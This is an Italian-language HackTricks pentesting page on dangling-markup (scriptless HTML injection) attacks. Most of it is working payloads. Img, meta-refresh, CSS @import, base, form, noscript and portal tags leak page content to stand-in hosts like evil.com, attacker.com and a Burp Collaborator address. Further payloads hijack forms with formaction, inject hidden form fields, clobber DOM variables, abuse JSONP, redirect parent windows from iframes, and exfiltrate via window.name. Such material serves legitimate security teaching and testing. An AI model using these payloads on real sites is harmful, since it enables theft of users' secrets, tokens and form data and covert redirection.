Dangling Markup - HTML scriptless injection
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Resume
Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata unâiniezione HTML. Questo è molto utile se non trovi alcun modo per sfruttare un XSS ma puoi iniettare alcuni tag HTML.
Ă anche utile se qualche segreto è salvato in chiaro nellâHTML e vuoi esfiltrarlo dal client, o se vuoi fuorviare lâesecuzione di qualche script.
Diverse tecniche commentate qui possono essere utilizzate per bypassare alcune Content Security Policy esfiltrando informazioni in modi inaspettati (tag html, CSS, tag meta http, moduli, baseâŚ).
Main Applications
Stealing clear text secrets
Se inietti <img src='http://evil.com/log.cgi? quando la pagina viene caricata, la vittima ti invierĂ tutto il codice tra il tag img iniettato e la prossima virgolette allâinterno del codice. Se un segreto si trova in qualche modo in quel blocco, lo ruberai (puoi fare la stessa cosa usando una doppia virgoletta, dai unâocchiata a quale potrebbe essere piĂš interessante da usare).
Se il tag img è vietato (a causa di CSP per esempio) puoi anche usare <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Nota che Chrome blocca gli URL HTTP con â<â o â\nâ in essi, quindi puoi provare altri schemi di protocollo come âftpâ.
Puoi anche abusare di CSS @import (invierĂ tutto il codice fino a trovare un â;â)
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Potresti anche usare <table:
<table background='//your-collaborator-id.burpcollaborator.net?'
Puoi anche inserire un <base tag. Tutte le informazioni verranno inviate fino a quando la citazione non sarĂ chiusa, ma richiede unâinterazione da parte dellâutente (lâutente deve cliccare su un link, perchĂŠ il tag base avrĂ cambiato il dominio puntato dal link):
<base target=' <--- Injected
steal me'<b>test</b>
Rubare moduli
<base href="http://evil.com/" />
Poi, i moduli che inviano dati al percorso (come <form action='update_profile.php'>) invieranno i dati al dominio malevolo.
Furto di moduli 2
Imposta unâintestazione del modulo: <form action='http://evil.com/log_steal'> questo sovrascriverĂ lâintestazione del modulo successivo e tutti i dati del modulo saranno inviati allâattaccante.
Furto di moduli 3
Il pulsante può cambiare lâURL dove le informazioni del modulo verranno inviate con lâattributo âformactionâ:
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
Un attaccante può utilizzare questo per rubare le informazioni.
Trova un esempio di questo attacco in questo documento.
Rubare segreti in chiaro 2
Utilizzando la tecnica menzionata in precedenza per rubare i moduli (iniettando un nuovo header del modulo) puoi quindi iniettare un nuovo campo di input:
<input type='hidden' name='review_body' value="
e questo campo di input conterrĂ tutto il contenuto tra le sue virgolette e la successiva virgoletta nel HTML. Questo attacco mescola âRubare segreti in chiaroâ con âRubare forms2â.
Puoi fare la stessa cosa iniettando un modulo e un <option> tag. Tutti i dati fino a quando non viene trovato un </option> chiuso verranno inviati:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Iniezione di parametri del modulo
Puoi cambiare il percorso di un modulo e inserire nuovi valori in modo che venga eseguita unâazione inaspettata:
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> â Injected lines
<form action="/change_settings.php">
â Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> â Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
Rubare segreti in chiaro tramite noscript
<noscript></noscript> Ă un tag il cui contenuto verrĂ interpretato se il browser non supporta javascript (puoi abilitare/disabilitare Javascript in Chrome in chrome://settings/content/javascript).
Un modo per esfiltrare il contenuto della pagina web dal punto di iniezione fino in fondo a un sito controllato dallâattaccante sarĂ iniettare questo:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypassare CSP con interazione dellâutente
Da questa ricerca di portswigger puoi apprendere che anche dai piĂš restrittivi ambienti CSP puoi comunque esfiltrare dati con un poâ di interazione dellâutente. In questa occasione utilizzeremo il payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Nota che chiederai alla vittima di cliccare su un link che lo reindirizzerĂ a un payload controllato da te. Nota anche che lâattributo target allâinterno del tag base conterrĂ contenuto HTML fino al prossimo apostrofo.
Questo farĂ sĂŹ che il valore di window.name se il link viene cliccato sarĂ tutto quel contenuto HTML. Pertanto, poichĂŠ controlli la pagina a cui la vittima accede cliccando sul link, puoi accedere a quel window.name ed esfiltrare quei dati:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Flusso di lavoro ingannevole 1 - attacco allo spazio dei nomi HTML
Inserisci un nuovo tag con un id allâinterno dellâHTML che sovrascriverĂ il successivo e con un valore che influenzerĂ il flusso di uno script. In questo esempio stai selezionando con chi verrĂ condivisa unâinformazione:
<input type="hidden" id="share_with" value="fredmbogo" /> â Injected markup ...
Share this status update with: â Legitimate optional element of a dialog
<input id="share_with" value="" />
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
Flusso di script fuorviante 2 - Attacco allo spazio dei nomi dello script
Crea variabili allâinterno dello spazio dei nomi javascript inserendo tag HTML. Quindi, questa variabile influenzerĂ il flusso dellâapplicazione:
<img id="is_public" /> â Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) â
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; â Condition always evaluates to true ... }
Abuso di JSONP
Se trovi unâinterfaccia JSONP, potresti essere in grado di chiamare una funzione arbitraria con dati arbitrari:
<script src='/editor/sharing.js'>: â Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: â Injected JSONP call
set_sharing({ ... })
Oppure puoi anche provare a eseguire del javascript:
<script src="/search?q=a&call=alert(1)"></script>
Abuso di Iframe
Un documento figlio possiede la capacitĂ di visualizzare e modificare la proprietĂ location del suo genitore, anche in situazioni cross-origin. Questo consente lâinserimento di uno script allâinterno di un iframe che può reindirizzare il client a una pagina arbitraria:
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
Questo può essere mitigato con qualcosa come: sandbox=' allow-scripts allow-top-navigation'
Un iframe può anche essere abusato per rivelare informazioni sensibili da una pagina diversa utilizzando lâattributo name dellâiframe. Questo perchĂŠ puoi creare un iframe che si incapsula da solo abusando dellâiniezione HTML che fa apparire le informazioni sensibili allâinterno dellâattributo name dellâiframe e poi accedere a quel nome dallâiframe iniziale e rivelarlo.
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
Per ulteriori informazioni controlla https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuso
Puoi utilizzare meta http-equiv per eseguire diverse azioni come impostare un Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> o eseguire un reindirizzamento (in 5s in questo caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Questo può essere evitato con un CSP riguardante http-equiv ( Content-Security-Policy: default-src 'self';, o Content-Security-Policy: http-equiv 'self';)
Nuovo <portal tag HTML
Puoi trovare una ricerca molto interessante sulle vulnerabilitĂ sfruttabili del tag <portal qui.
Al momento della scrittura, è necessario abilitare il tag portal su Chrome in chrome://flags/#enable-portals o non funzionerà .
<portal src='https://attacker-server?
HTML Leaks
Non tutti i modi per rivelare la connettivitĂ in HTML saranno utili per il Dangling Markup, ma a volte potrebbero aiutare. Controllali qui: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Questo è un mix tra dangling markup e XS-Leaks. Da un lato, la vulnerabilitĂ consente di iniettare HTML (ma non JS) in una pagina della stessa origine di quella che attaccheremo. Dallâaltro lato, non attaccheremo direttamente la pagina in cui possiamo iniettare HTML, ma unâaltra pagina.
XS-Search/XS-Leaks
XS-Search è orientato a esfiltrare informazioni cross-origin abusando di attacchi a canale laterale. Pertanto, è una tecnica diversa dal Dangling Markup, tuttavia, alcune delle tecniche abusano dellâinclusione di tag HTML (con e senza esecuzione di JS), come CSS Injection o Lazy Load Images.
Brute-Force Detection List
References
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

